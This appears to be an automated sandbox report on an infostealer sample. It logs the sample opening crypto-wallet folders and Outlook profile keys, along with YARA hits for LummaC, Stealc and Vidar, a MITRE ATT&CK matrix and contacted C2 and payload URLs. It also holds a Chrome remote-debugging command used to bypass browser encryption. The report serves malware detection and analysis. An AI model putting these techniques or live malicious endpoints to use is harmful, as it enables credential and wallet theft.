Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA

Source: Yara match	File source: 0000001A.00000003.2947632959.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2900904308.0000000000C32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2926968578.0000000000C36000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2928573051.0000000000C36000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2926920786.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2942468191.0000000000C36000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2884972394.0000000000C32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2901286185.0000000000C32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2413344379.000000000034C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2947470579.0000000000C48000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2901392194.0000000000C36000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2884338454.0000000000C30000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2886167629.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2885578673.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2942421281.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 067286f766.exe PID: 8068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 067286f766.exe PID: 8688, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match	File source: 0000001D.00000003.3005367045.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 92cf6f64c8.exe PID: 9176, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 067286f766.exe PID: 8068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 067286f766.exe PID: 8688, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2413344379.0000000000281000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.3162156338.000000000140B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2902525546.0000000005110000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2942770263.0000000000621000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.3136078314.0000000000621000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000003.3080110945.0000000005020000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2945693748.000000000143E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2414963781.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2048304641.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fd9f6e129b.exe PID: 5668, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1656, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	21 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	111 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	248 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	12 Process Injection	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	881 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	111 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	32%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	39%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	39%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	32%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	45%	ReversingLabs	Win32.Infostealer.Tinba

Name	IP	Active	Malicious
example.org	93.184.215.14	true	false
chrome.cloudflare-dns.com	162.159.61.3	true	false
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false
home.fvtekk5pn.top	34.116.198.130	true	true
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false
plus.l.google.com	216.58.212.174	true	false
cook-rain.sbs	188.114.96.3	true	true
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false
sni1gl.wpc.nucdn.net	152.199.21.175	true	false
fvtekk5pn.top	34.116.198.130	true	true
contile.services.mozilla.com	34.117.188.166	true	false
youtube.com	142.250.184.238	true	false
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false
play.google.com	142.250.185.78	true	false
ipv4only.arpa	192.0.0.171	true	false
sb.scorecardresearch.com	18.245.60.53	true	false
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false
www.google.com	142.250.186.68	true	false
googlehosted.l.googleusercontent.com	216.58.206.33	true	false
js.monitor.azure.com	unknown	unknown	false
c.msn.com	unknown	unknown	false
spocs.getpocket.com	unknown	unknown	false
ntp.msn.com	unknown	unknown	false
clients2.googleusercontent.com	unknown	unknown	false
content-signature-2.cdn.mozilla.net	unknown	unknown	false
assets.msn.com	unknown	unknown	false
detectportal.firefox.com	unknown	unknown	false
bzib.nelreports.net	unknown	unknown	false
shavar.services.mozilla.com	unknown	unknown	false
apis.google.com	unknown	unknown	false
api.msn.com	unknown	unknown	false

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true
http://185.215.113.206/68b591d6548ec281/nss3.dll	true
185.215.113.206/c4becf79229cb002.php	true
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	true
p10tgrace.sbs	true
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732086565259&w=0&anoncknm=app_anon&NoResponseBody=true	false
p3ar11fter.sbs	true
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false

URLs from Memory and Binaries

Name	Source	Malicious
https://cook-rain.sbs/api6	067286f766.exe, 0000001A.00000003.2926968578.0000000000C36000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2928573051.0000000000C36000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2926920786.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2942468191.0000000000C36000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2942421281.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp	false
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	false
http://detectportal.firefox.com/	firefox.exe, 0000002A.00000003.3160010363.0000020492961000.00000004.00000800.00020000.00000000.sdmp	false
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	false
http://anglebug.com/4633	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7382	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000002C.00000002.3186536382.0000027884272000.00000004.00000800.00020000.00000000.sdmp	false
https://amazon.com/X	firefox.exe, 0000002A.00000002.3301081919.000002048AF0D000.00000004.00000800.00020000.00000000.sdmp	false
https://spocs.getpocket.com/spocs	firefox.exe, 0000002A.00000002.3285283392.000002048AB03000.00000004.00000800.00020000.00000000.sdmp	false
https://screenshots.firefox.com	firefox.exe, 0000002A.00000003.3083089983.00000204FECB2000.00000004.00000800.00020000.00000000.sdmp	false
https://www.google.com/complete/searchcb8e7210-9f0b-48fa-8708-b9a03df79eeaccb137f1-7733-464c-bb70-03	firefox.exe, 0000002A.00000003.3107154254.000002048C867000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206K	fd9f6e129b.exe, 0000001B.00000002.2945693748.000000000143E000.00000004.00000020.00020000.00000000.sdmp	false
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000002A.00000003.3104081433.000002048BDBC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3079366050.000002048BDBC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3162912536.000002048C68E000.00000004.00000800.00020000.00000000.sdmp	false
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	false
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000002A.00000002.3284522987.000002048AA00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000003.3004296658.000002048A83A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3003094102.000002048A81E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3006122223.000002048A873000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3004712211.000002048A857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3002071042.000002048A600000.00000004.00000800.00020000.00000000.sdmp	false
https://profiler.firefox.com/	firefox.exe, 0000002A.00000002.3241492483.0000020487E86000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/6929	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpxFa#h	file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/mozilla-services/screenshots	firefox.exe, 0000002A.00000002.3284522987.000002048AA00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000003.3004296658.000002048A83A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3003094102.000002048A81E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3006122223.000002048A873000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3004712211.000002048A857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3002071042.000002048A600000.00000004.00000800.00020000.00000000.sdmp	false
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	false
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	false
http://185.215.113.206lfons	file.exe, 00000000.00000002.2413344379.0000000000335000.00000040.00000001.01000000.00000003.sdmp	false
https://anglebug.com/7246	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7369	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7489	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	false
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	false
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	false
